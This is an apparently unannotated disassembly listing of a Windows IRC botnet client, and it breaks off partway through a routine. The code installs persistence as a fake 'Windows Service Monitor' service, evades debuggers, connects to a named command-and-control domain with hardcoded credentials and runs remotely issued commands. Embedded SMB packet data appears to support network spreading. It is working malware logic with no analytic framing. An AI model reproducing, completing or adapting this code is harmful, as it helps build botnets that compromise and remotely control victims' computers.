0FF04h, 1000000h, 0F00h, 495C5C5Ch dd 244350h, 3F3F3F3Fh, 3Fh dword_602390 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0) ; DATA XREF: sub_604B25+BCo dd 4DC0800h, 400800h, 0DE00FF18h, 800DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 5C000903h, 574F5242h, 524553h, 2 dup(0) dword_6023F8 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_604B25+CEo dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0) dword_6024A0 dd 66030000h, 424D53FFh, 25h, 20011800h, 3 dup(0) dd 3900800h, 3C1D0800h, 1C000010h, 0E0040003h, 0FFh, 2 dup(0) dd 1C004A00h, 2004A03h, 2600h, 5C032340h, 45504950h, 5005Ch dd 100300h, 31C0000h, 0 dd 3040000h, 0 ; --------------------------------------------------------------------------- pop ds add [ecx], ah inc edx call loc_602691 ; --------------------------------------------------------------------------- align 10h dd 10000h, 0 dd 1630000h, 0 dd 1630000h, 0 dword_602528 dd 0 dd 0D7h, 1, 0 dd 1, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- align 10h dword_602550 dd 0CA040000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_604D9C+Eo dd 1C80800h, 7CC90800h, 80000010h, 0E0040004h, 0FFh, 2 dup(0) dd 80004A00h, 2004A04h, 2600h, 5C048740h, 45504950h, 5005Ch dd 100300h, 4800000h, 0 dd 4680000h, 0 dd 72B3001Fh, 1A381h, 0 dd 10000h, 0 dd 2150000h, 0 dd 2150000h, 0 dword_6025D8 dd 0 dd 85h, 2, 0 dd 2, 2EBh, 85h, 2 dup(0) dword_6025FC dd 205D655Bh, 36312E25h, 2E252073h, 7332hdword_60260C dd 6B32h dd 7078h ; DATA XREF: sub_604AC1+26o ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_602614 proc near ; DATA XREF: MEW:00601769o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h and [ebp+var_10], 0 mov [ebp+var_C], offset sub_6028E0 and [ebp+var_8], 0 and [ebp+var_4], 0 call sub_6028A0 mov [ebp+var_10], offset aWinsvcmon ; "winsvcmon" call sub_602853 lea eax, [ebp+var_10] push eax call dword_601000 ; StartServiceCtrlDispatcherA test eax, eax jnz short loc_602651 call sub_6026A5 loc_602651: ; CODE XREF: sub_602614+36j call sub_60266C sub_602614 endp ; --------------------------------------------------------------------------- call sub_60265F xor eax, eax leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_60265F proc near ; CODE XREF: MEW:00602656p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], offset loc_601750 leave retn sub_60265F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_60266C proc near ; CODE XREF: sub_602614:loc_602651p ; sub_6028E0+38p var_190 = byte ptr -190h push ebp mov ebp, esp sub esp, 190h call sub_6037CF call sub_6034D2 lea eax, [ebp+var_190] push eax push 101h call dword_601144 ; WSAStartup loc_602691: ; CODE XREF: MEW:00602508p ; sub_60266C+35j call sub_602928 push 4000h call dword_6010E0 ; Sleep jmp short loc_602691 sub_60266C endp ; --------------------------------------------------------------------------- leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_6026A5 proc near ; CODE XREF: sub_602614+38p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push 104h push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\winsvcmon.exe" call dword_6010D0 ; GetSystemDirectoryA push offset aWinsvcmon_exe ; "winsvcmon.exe" push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\winsvcmon.exe" push offset dword_601778 push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\winsvcmon.exe" call dword_6010F4 ; wsprintfA add esp, 10h push 20h push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\winsvcmon.exe" call dword_6010D4 ; SetFileAttributesA and [ebp+var_4], 0 jmp short loc_6026F0 ; --------------------------------------------------------------------------- loc_6026E9: ; CODE XREF: sub_6026A5+74j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_6026F0: ; CODE XREF: sub_6026A5+42j cmp [ebp+var_4], 5 jge short loc_60271B push 0 push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\winsvcmon.exe" push offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" call dword_6010D8 ; CopyFileA test eax, eax jz short loc_60270E jmp short loc_60271B ; --------------------------------------------------------------------------- loc_60270E: ; CODE XREF: sub_6026A5+65j push 1400h call dword_6010E0 ; Sleep jmp short loc_6026E9 ; --------------------------------------------------------------------------- loc_60271B: ; CODE XREF: sub_6026A5+4Fj ; sub_6026A5+67j call sub_60272B test eax, eax jz short locret_602729 call sub_60383E locret_602729: ; CODE XREF: sub_6026A5+7Dj leave retn sub_6026A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_60272B proc near ; CODE XREF: sub_6026A5:loc_60271Bp var_128 = byte ptr -128h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 128h push 12h push 0 push 0 call dword_601008 ; OpenSCManagerA mov [ebp+var_18], eax push 10h push offset aWinsvcmon ; "winsvcmon" push [ebp+var_18] call dword_601004 ; OpenServiceA mov [ebp+var_20], eax cmp [ebp+var_20], 0 jnz loc_6027F5 push 0 push 0 push 0 push 0 push 0 push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\winsvcmon.exe" push 0 push 2 push 110h push 40012h push offset aWindowsService ; "Windows Service Monitor" push offset aWinsvcmon ; "winsvcmon" push [ebp+var_18] call dword_60103C ; CreateServiceA mov [ebp+var_20], eax mov [ebp+var_28], 1 and [ebp+var_24], 0 and [ebp+var_14], 0 and [ebp+var_10], 0 and [ebp+var_C], 0 mov [ebp+var_8], 1 lea eax, [ebp+var_28] mov [ebp+var_4], eax lea eax, [ebp+var_14] push eax push 2 push [ebp+var_20] call dword_601034 ; ChangeServiceConfig2A push 100h push offset aMonitorsAndVer ; "Monitors and verifies integrity of all "... lea eax, [ebp+var_128] push eax call dword_6010CC ; lstrcpynA lea eax, [ebp+var_128] mov [ebp+var_1C], eax lea eax, [ebp+var_1C] push eax push 1 push [ebp+var_20] call dword_601034 ; ChangeServiceConfig2A loc_6027F5: ; CODE XREF: sub_60272B+2Fj push 0 push 0 push [ebp+var_20] call dword_601038 ; StartServiceA leave retn sub_60272B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_602804 proc near ; CODE XREF: sub_6030CA+FBp ; sub_60492B+12Dp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push 10000h push 0 push 0 call dword_601008 ; OpenSCManagerA mov [ebp+var_4], eax push 10000h push offset aWinsvcmon ; "winsvcmon" push [ebp+var_4] call dword_601004 ; OpenServiceA mov [ebp+var_8], eax push [ebp+var_8] call dword_601010 ; DeleteService push [ebp+var_8] call dword_60100C ; CloseServiceHandle push [ebp+var_4] call dword_60100C ; CloseServiceHandle call sub_60383E leave retn sub_602804 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_602853 proc near ; CODE XREF: sub_602614+25p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push 104h push offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 0 call dword_6010C8 ; GetModuleFileNameA mov [ebp+var_4], eax mov eax, [ebp+var_4] mov byte ptr aCM_unpackerPac[eax], 0 ; "C:\\m_unpacker\\packed.exe" push 44h push offset dword_601680 call sub_60397F mov dword_601680, 44h mov dword_6016AC, 81h and word_6016B0, 0 leave retn sub_602853 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_6028A0 proc near ; CODE XREF: sub_602614+19p push ebp mov ebp, esp push 0 push 0 push 0 push offset sub_6028BA push 0 push 0 call dword_6010C4 ; CreateThread pop ebp retn sub_6028A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_6028BA proc near ; DATA XREF: sub_6028A0+9o push ebp mov ebp, esp loc_6028BD: ; CODE XREF: sub_6028BA+20j call dword_6010BC ; IsDebuggerPresent test eax, eax jz short loc_6028CF push 0 call dword_6010C0 ; ExitProcess loc_6028CF: ; CODE XREF: sub_6028BA+Bj push 80h call dword_6010E0 ; Sleep jmp short loc_6028BD sub_6028BA endp ; --------------------------------------------------------------------------- pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_6028E0 proc near ; DATA XREF: sub_602614+Ao var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h push ebp mov ebp, esp sub esp, 20h push offset sub_602921 push offset aWinsvcmon ; "winsvcmon" call dword_601018 ; RegisterServiceCtrlHandlerA mov [ebp+var_20], eax mov [ebp+var_1C], 10h mov [ebp+var_18], 4 and [ebp+var_14], 0 lea eax, [ebp+var_1C] push eax push [ebp+var_20] call dword_601014 ; SetServiceStatus call sub_60266C sub_6028E0 endp ; --------------------------------------------------------------------------- leave retn 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_602921 proc near ; DATA XREF: sub_6028E0+6o push ebp mov ebp, esp pop ebp retn 4 sub_602921 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_602928 proc near ; CODE XREF: sub_60266C:loc_602691p var_544 = dword ptr -544h var_540 = dword ptr -540h var_53C = word ptr -53Ch var_53A = word ptr -53Ah var_538 = dword ptr -538h var_52C = dword ptr -52Ch var_528 = dword ptr -528h var_524 = dword ptr -524h var_520 = byte ptr -520h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 544h call sub_603ABE cmp dword_601270, offset aAj74mj33o_v46s ; "aj74mj33o.v46suer0dszx.info" jnz short loc_602964 mov dword_601270, offset aAj74mj33o_v4_0 ; "aj74mj33o.v46suer0dszx.info" mov ax, word_6017C4 mov word_6014A8, ax mov dword_601274, offset aGm2ud36 ; "gm2ud36" jmp short loc_602984 ; --------------------------------------------------------------------------- loc_602964: ; CODE XREF: sub_602928+18j mov dword_601270, offset aAj74mj33o_v46s ; "aj74mj33o.v46suer0dszx.info" mov ax, word_6017A4 mov word_6014A8, ax mov dword_601274, offset aGm2ud36_0 ; "gm2ud36" loc_602984: ; CODE XREF: sub_602928+3Aj push dword_601270 call dword_601120 ; gethostbyname mov [ebp+var_11C], eax cmp [ebp+var_11C], 0 jnz short loc_6029A4 jmp locret_602CF1 ; --------------------------------------------------------------------------- loc_6029A4: ; CODE XREF: sub_602928+75j and dword_60126C, 0 mov eax, dword_60126C mov dword_601268, eax mov eax, [ebp+var_11C] mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_538], eax mov [ebp+var_53C], 2 mov ax, word_6014A8 mov [ebp+var_53A], ax push 6 push 1 push 2 call dword_601124 ; socket mov dword_601540, eax mov [ebp+var_10], 1 push 4 lea eax, [ebp+var_10] push eax push 8 push 0FFFFh push dword_601540 call dword_601128 ; setsockopt push 10h lea eax, [ebp+var_53C] push eax push dword_601540 call dword_60112C ; connect push dword_601274 push offset aPass_32s ; "PaSS %.32s\n" push offset dword_601278 call dword_6010F4 ; wsprintfA add esp, 0Ch mov dword_6014AC, eax push 0 push dword_6014AC push offset dword_601278 push dword_601540 call dword_601130 ; send push 0 push 0Dh push offset aUserLLLL ; "USeR l l l l\n" push dword_601540 call dword_601130 ; send call sub_6034AE push 20h push offset dword_601478 push offset dword_601488 call dword_6010CC ; lstrcpynA push offset dword_601488 push offset aNick_24s ; "NiCK %.24s\n" push offset dword_601278 call dword_6010F4 ; wsprintfA add esp, 0Ch mov dword_6014AC, eax push 0 push dword_6014AC push offset dword_601278 push dword_601540 call dword_601130 ; send mov [ebp+var_4], 10h lea eax, [ebp+var_4] push eax lea eax, [ebp+var_53C] push eax push dword_601540 call dword_601134 ; getsockname mov eax, [ebp+var_538] mov dword_601538, eax and [ebp+var_4], 0 and [ebp+var_118], 0 loc_602AF1: ; CODE XREF: sub_602928+23Fj and [ebp+var_540], 0 jmp short loc_602B07 ; --------------------------------------------------------------------------- loc_602AFA: ; CODE XREF: sub_602928:loc_602B2Cj mov eax, [ebp+var_540] inc eax mov [ebp+var_540], eax loc_602B07: ; CODE XREF: sub_602928+1D0j mov eax, [ebp+var_540] cmp eax, [ebp+var_118] jnb short loc_602B2E mov eax, [ebp+var_540] mov eax, [ebp+eax*4+var_114] cmp eax, dword_601540 jnz short loc_602B2C jmp short loc_602B2E ; --------------------------------------------------------------------------- loc_602B2C: ; CODE XREF: sub_602928+200j jmp short loc_602AFA ; --------------------------------------------------------------------------- loc_602B2E: ; CODE XREF: sub_602928+1EBj ; sub_602928+202j mov eax, [ebp+var_540] cmp eax, [ebp+var_118] jnz short loc_602B65 cmp [ebp+var_118], 40h jnb short loc_602B65 mov eax, [ebp+var_540] mov ecx, dword_601540 mov [ebp+eax*4+var_114], ecx mov eax, [ebp+var_118] inc eax mov [ebp+var_118], eax loc_602B65: ; CODE XREF: sub_602928+212j ; sub_602928+21Bj xor eax, eax jnz short loc_602AF1 mov eax, dword_6017E8 mov [ebp+var_528], eax and [ebp+var_524], 0 loc_602B7B: ; CODE XREF: sub_602928+3B8j lea eax, [ebp+var_528] push eax push 0 push 0 lea eax, [ebp+var_118] push eax push 0 call dword_601138 ; select cmp eax, 1 jnz loc_602CE5 push 0 mov eax, 400h sub eax, [ebp+var_4] push eax mov eax, [ebp+var_4] lea eax, [ebp+eax+var_520] push eax push dword_601540 call dword_60113C ; recv mov [ebp+var_8], eax cmp [ebp+var_8], 0 jg short loc_602BCE jmp loc_602CE5 ; --------------------------------------------------------------------------- loc_602BCE: ; CODE XREF: sub_602928+29Fj mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] mov [ebp+eax+var_520], 0 lea eax, [ebp+var_520] mov [ebp+var_52C], eax loc_602BEE: ; CODE XREF: sub_602928:loc_602C5Bj mov eax, [ebp+var_52C] movsx eax, byte ptr [eax] test eax, eax jz short loc_602C5D push 0Dh push [ebp+var_52C] call sub_603A00 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_602C2F mov eax, [ebp+var_C] mov byte ptr [eax], 0 push [ebp+var_52C] call sub_602D3E mov eax, [ebp+var_C] inc eax inc eax mov [ebp+var_52C], eax jmp short loc_602C5B ; --------------------------------------------------------------------------- loc_602C2F: ; CODE XREF: sub_602928+2E7j mov eax, [ebp+var_4] lea eax, [ebp+eax+var_520] sub eax, [ebp+var_52C] mov [ebp+var_4], eax mov eax, [ebp+var_4] inc eax push eax push [ebp+var_52C] lea eax, [ebp+var_520] push eax call sub_6039D1 jmp short loc_602C61 ; --------------------------------------------------------------------------- loc_602C5B: ; CODE XREF: sub_602928+305j jmp short loc_602BEE ; --------------------------------------------------------------------------- loc_602C5D: ; CODE XREF: sub_602928+2D1j and [ebp+var_4], 0 loc_602C61: ; CODE XREF: sub_602928+331j and [ebp+var_118], 0 loc_602C68: ; CODE XREF: sub_602928+3B6j and [ebp+var_544], 0 jmp short loc_602C7E ; --------------------------------------------------------------------------- loc_602C71: ; CODE XREF: sub_602928:loc_602CA3j mov eax, [ebp+var_544] inc eax mov [ebp+var_544], eax loc_602C7E: ; CODE XREF: sub_602928+347j mov eax, [ebp+var_544] cmp eax, [ebp+var_118] jnb short loc_602CA5 mov eax, [ebp+var_544] mov eax, [ebp+eax*4+var_114] cmp eax, dword_601540 jnz short loc_602CA3 jmp short loc_602CA5 ; --------------------------------------------------------------------------- loc_602CA3: ; CODE XREF: sub_602928+377j jmp short loc_602C71 ; --------------------------------------------------------------------------- loc_602CA5: ; CODE XREF: sub_602928+362j ; sub_602928+379j mov eax, [ebp+var_544] cmp eax, [ebp+var_118] jnz short loc_602CDC cmp [ebp+var_118], 40h jnb short loc_602CDC mov eax, [ebp+var_544] mov ecx, dword_601540 mov [ebp+eax*4+var_114], ecx mov eax, [ebp+var_118] inc eax mov [ebp+var_118], eax loc_602CDC: ; CODE XREF: sub_602928+389j ; sub_602928+392j xor eax, eax jnz short loc_602C68 jmp loc_602B7B ; --------------------------------------------------------------------------- loc_602CE5: ; CODE XREF: sub_602928+270j ; sub_602928+2A1j push dword_601540 call dword_601140 ; closesocket locret_602CF1: ; CODE XREF: sub_602928+77j leave retn sub_602928 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_602CF3 proc near ; CODE XREF: sub_6030CA+2DDp ; sub_6030CA+321p ... var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 204h push [ebp+arg_0] push offset dword_6017C8 push offset aPrivmsg_16s_48 ; "PRiVMSG %.16s :%.480s\n" lea eax, [ebp+var_200] push eax call dword_6010F4 ; wsprintfA add esp, 10h mov [ebp+var_204], eax push 0 push [ebp+var_204] lea eax, [ebp+var_200] push eax push dword_601540 call dword_601130 ; send leave retn 4 sub_602CF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_602D3E proc near ; CODE XREF: sub_602928+2F5p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 24h mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 3Ah jnz short loc_602D7D mov eax, [ebp+arg_0] inc eax mov [ebp+var_4], eax push 20h push [ebp+var_4] call sub_603A00 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_602D6E jmp locret_6030C6 ; --------------------------------------------------------------------------- loc_602D6E: ; CODE XREF: sub_602D3E+29j mov eax, [ebp+var_C] mov byte ptr [eax], 0 mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp short loc_602D87 ; --------------------------------------------------------------------------- loc_602D7D: ; CODE XREF: sub_602D3E+Fj and [ebp+var_4], 0 mov eax, [ebp+arg_0] mov [ebp+var_C], eax loc_602D87: ; CODE XREF: sub_602D3E+3Dj push 20h push [ebp+var_C] call sub_603A00 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_602DA1 jmp locret_6030C6 ; --------------------------------------------------------------------------- jmp short loc_602DAE ; --------------------------------------------------------------------------- loc_602DA1: ; CODE XREF: sub_602D3E+5Aj mov eax, [ebp+var_8] mov byte ptr [eax], 0 mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_602DAE: ; CODE XREF: sub_602D3E+61j push offset aPing ; "PING" push [ebp+var_C] call dword_6010B8 ; lstrcmpA test eax, eax jnz short loc_602DF9 push [ebp+var_8] push offset aPong_500s ; "PoNG %.500s\r\n" push offset dword_601278 call dword_6010F4 ; wsprintfA add esp, 0Ch mov dword_6014AC, eax push 0 push dword_6014AC push offset dword_601278 push dword_601540 call dword_601130 ; send jmp locret_6030C6 ; --------------------------------------------------------------------------- loc_602DF9: ; CODE XREF: sub_602D3E+80j push offset aPrivmsg ; "PRIVMSG" push [ebp+var_C] call dword_6010B8 ; lstrcmpA test eax, eax jnz loc_602EA5 and [ebp+var_10], 0 cmp [ebp+var_4], 0 jz short loc_602E32 push [ebp+var_4] push offset dword_6017F0 call sub_603F01 cmp eax, 1 jnz short loc_602E32 mov [ebp+var_10], 1 loc_602E32: ; CODE XREF: sub_602D3E+D9j ; sub_602D3E+EBj push 20h push [ebp+var_8] call sub_603A00 mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz short loc_602EA0 mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax mov eax, [ebp+var_14] movsx eax, byte ptr [eax] cmp eax, 3Ah jnz short loc_602E5E mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_602E5E: ; CODE XREF: sub_602D3E+117j cmp [ebp+var_10], 1 jnz short loc_602EA0 mov eax, [ebp+var_14] movsx eax, byte ptr [eax] movsx ecx, byte_6017A6 cmp eax, ecx jnz short loc_602E83 push 0 mov eax, [ebp+var_14] inc eax push eax call sub_6030CA jmp short loc_602EA0 ; --------------------------------------------------------------------------- loc_602E83: ; CODE XREF: sub_602D3E+135j mov eax, [ebp+var_14] movsx eax, byte ptr [eax] movsx ecx, byte_6017A7 cmp eax, ecx jnz short loc_602EA0 push 1 mov eax, [ebp+var_14] inc eax push eax call sub_6030CA loc_602EA0: ; CODE XREF: sub_602D3E+105j ; sub_602D3E+124j ... jmp locret_6030C6 ; --------------------------------------------------------------------------- loc_602EA5: ; CODE XREF: sub_602D3E+CBj push offset a433 ; "433" push [ebp+var_C] call dword_6010B8 ; lstrcmpA test eax, eax jnz short loc_602F12 cmp dword_60126C, 0 jnz short loc_602F0D call sub_6034AE push 20h push offset dword_601478 push offset dword_601488 call dword_6010CC ; lstrcpynA push offset dword_601488 push offset aNick_24s ; "NiCK %.24s\n" push offset dword_601278 call dword_6010F4 ; wsprintfA add esp, 0Ch mov dword_6014AC, eax push 0 push dword_6014AC push offset dword_601278 push dword_601540 call dword_601130 ; send loc_602F0D: ; CODE XREF: sub_602D3E+180j jmp locret_6030C6 ; --------------------------------------------------------------------------- loc_602F12: ; CODE XREF: sub_602D3E+177j push offset a332 ; "332" push [ebp+var_C] call dword_6010B8 ; lstrcmpA test eax, eax jnz short loc_602F7E push 20h push [ebp+var_8] call sub_603A00 mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short loc_602F40 mov eax, [ebp+var_18] inc eax mov [ebp+var_18], eax jmp short loc_602F45 ; --------------------------------------------------------------------------- loc_602F40: ; CODE XREF: sub_602D3E+1F7j jmp locret_6030C6 ; --------------------------------------------------------------------------- loc_602F45: ; CODE XREF: sub_602D3E+200j push 20h push [ebp+var_18] call sub_603A00 mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short loc_602F79 mov eax, [ebp+var_18] inc eax mov [ebp+var_18], eax mov eax, [ebp+var_18] movsx eax, byte ptr [eax] cmp eax, 3Ah jnz short loc_602F71 mov eax, [ebp+var_18] inc eax mov [ebp+var_18], eax loc_602F71: ; CODE XREF: sub_602D3E+22Aj push [ebp+var_18] call sub_603437 loc_602F79: ; CODE XREF: sub_602D3E+218j jmp locret_6030C6 ; --------------------------------------------------------------------------- loc_602F7E: ; CODE XREF: sub_602D3E+1E4j push offset a302 ; "302" push [ebp+var_C] call dword_6010B8 ; lstrcmpA test eax, eax jnz loc_60302C cmp dword_601268, 0 jnz loc_60302C push 40h push [ebp+var_8] call sub_603A00 mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_603022 mov eax, [ebp+var_1C] inc eax mov [ebp+var_1C], eax push 20h push [ebp+var_1C] call sub_603A00 mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_602FD4 mov eax, [ebp+var_20] mov byte ptr [eax], 0 loc_602FD4: ; CODE XREF: sub_602D3E+28Ej push [ebp+var_1C] call dword_60114C ; inet_addr mov dword_60153C, eax cmp dword_60153C, 0FFFFFFFFh jnz short loc_603018 push [ebp+var_1C] call dword_601120 ; gethostbyname mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_603016 mov eax, [ebp+var_24] mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov dword_60153C, eax mov dword_601268, 1 loc_603016: ; CODE XREF: sub_602D3E+2BDj jmp short loc_603022 ; --------------------------------------------------------------------------- loc_603018: ; CODE XREF: sub_602D3E+2ABj mov dword_601268, 1 loc_603022: ; CODE XREF: sub_602D3E+274j ; sub_602D3E:loc_603016j call sub_603AF7 jmp locret_6030C6 ; --------------------------------------------------------------------------- loc_60302C: ; CODE XREF: sub_602D3E+250j ; sub_602D3E+25Dj push offset a001 ; "001" push [ebp+var_C] call dword_6010B8 ; lstrcmpA test eax, eax jnz locret_6030C6 cmp dword_60126C, 0 jnz short locret_6030C6 mov dword_60126C, 1 push offset dword_601488 push offset aUserhost_16s ; "USeRHOST %.16s\n" push offset dword_601278 call dword_6010F4 ; wsprintfA add esp, 0Ch mov dword_6014AC, eax push 0 push dword_6014AC push offset dword_601278 push dword_601540 call dword_601130 ; send push offset a9yc8b2ni ; "9yc8b2ni" push offset dword_6017C8 push offset aJoin_16s_16s ; "JOiN %.16s %.16s\n" push offset dword_601278 call dword_6010F4 ; wsprintfA add esp, 10h mov dword_6014AC, eax push 0 push dword_6014AC push offset dword_601278 push dword_601540 call dword_601130 ; send locret_6030C6: ; CODE XREF: sub_602D3E+2Bj ; sub_602D3E+5Cj ... leave retn 4 sub_602D3E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_6030CA proc near ; CODE XREF: sub_602D3E+13Ep ; sub_602D3E+15Dp ... var_420 = dword ptr -420h var_41C = byte ptr -41Ch var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = dword ptr -404h var_400 = byte ptr -400h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov [ebp+var_420], eax cmp [ebp+var_420], 66h jg short loc_603151 cmp [ebp+var_420], 66h jz loc_603333 cmp [ebp+var_420], 44h jz loc_6033FC cmp [ebp+var_420], 45h jz loc_6033B1 cmp [ebp+var_420], 46h jz loc_603355 cmp [ebp+var_420], 4Ch jz loc_603321 cmp [ebp+var_420], 51h jz loc_6031CF cmp [ebp+var_420], 52h jz short loc_6031A4 cmp [ebp+var_420], 65h jz loc_6032E1 jmp locret_603433 ; --------------------------------------------------------------------------- loc_603151: ; CODE XREF: sub_6030CA+1Cj cmp [ebp+var_420], 68h jz loc_603403 cmp [ebp+var_420], 69h jz loc_603299 cmp [ebp+var_420], 6Ch jz loc_60330F cmp [ebp+var_420], 6Eh jz loc_60335F cmp [ebp+var_420], 71h jz loc_60341C cmp [ebp+var_420], 75h jz loc_6032E1 jmp locret_603433 ; --------------------------------------------------------------------------- loc_6031A4: ; CODE XREF: sub_6030CA+73j push 0 push 5 push offset aQuit ; "QUiT\n" push dword_601540 call dword_601130 ; send push dword_601540 call dword_601140 ; closesocket call sub_602804 jmp locret_603433 ; --------------------------------------------------------------------------- loc_6031CF: ; CODE XREF: sub_6030CA+66j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+1] cmp eax, 20h jnz loc_603294 mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+var_40C], eax and [ebp+var_408], 0 and [ebp+var_404], 0 jmp short loc_603208 ; --------------------------------------------------------------------------- loc_6031FA: ; CODE XREF: sub_6030CA+1ABj mov eax, [ebp+var_408] inc eax inc eax mov [ebp+var_408], eax loc_603208: ; CODE XREF: sub_6030CA+12Ej mov eax, [ebp+var_40C] add eax, [ebp+var_408] movsx eax, byte ptr [eax] test eax, eax jz short loc_603277 mov eax, [ebp+var_40C] add eax, [ebp+var_408] movsx eax, byte ptr [eax+1] test eax, eax jz short loc_603277 mov eax, [ebp+var_40C] add eax, [ebp+var_408] movsx eax, byte ptr [eax] sub eax, 3Ah imul eax, 24h movsx eax, al mov ecx, [ebp+var_40C] add ecx, [ebp+var_408] movsx ecx, byte ptr [ecx+1] lea eax, [eax+ecx-3Ah] mov ecx, [ebp+var_404] mov [ebp+ecx+var_400], al mov eax, [ebp+var_404] inc eax mov [ebp+var_404], eax jmp short loc_6031FA ; --------------------------------------------------------------------------- loc_603277: ; CODE XREF: sub_6030CA+14Fj ; sub_6030CA+163j mov eax, [ebp+var_404] mov [ebp+eax+var_400], 0 push [ebp+arg_4] lea eax, [ebp+var_400] push eax call sub_6030CA loc_603294: ; CODE XREF: sub_6030CA+10Fj jmp locret_603433 ; --------------------------------------------------------------------------- loc_603299: ; CODE XREF: sub_6030CA+9Bj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+1] cmp eax, 20h jnz short loc_6032DC mov eax, [ebp+arg_0] inc eax inc eax push eax push offset a_500s ; "%.500s\n" push offset dword_601278 call dword_6010F4 ; wsprintfA add esp, 0Ch mov dword_6014AC, eax push 0 push dword_6014AC push offset dword_601278 push dword_601540 call dword_601130 ; send loc_6032DC: ; CODE XREF: sub_6030CA+1D9j jmp locret_603433 ; --------------------------------------------------------------------------- loc_6032E1: ; CODE XREF: sub_6030CA+7Cj ; sub_6030CA+CFj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+1] cmp eax, 20h jnz short loc_60330A push [ebp+arg_4] mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] sub eax, 75h neg eax sbb eax, eax inc eax push eax mov eax, [ebp+arg_0] inc eax inc eax push eax call sub_6048A6 loc_60330A: ; CODE XREF: sub_6030CA+221j jmp locret_603433 ; 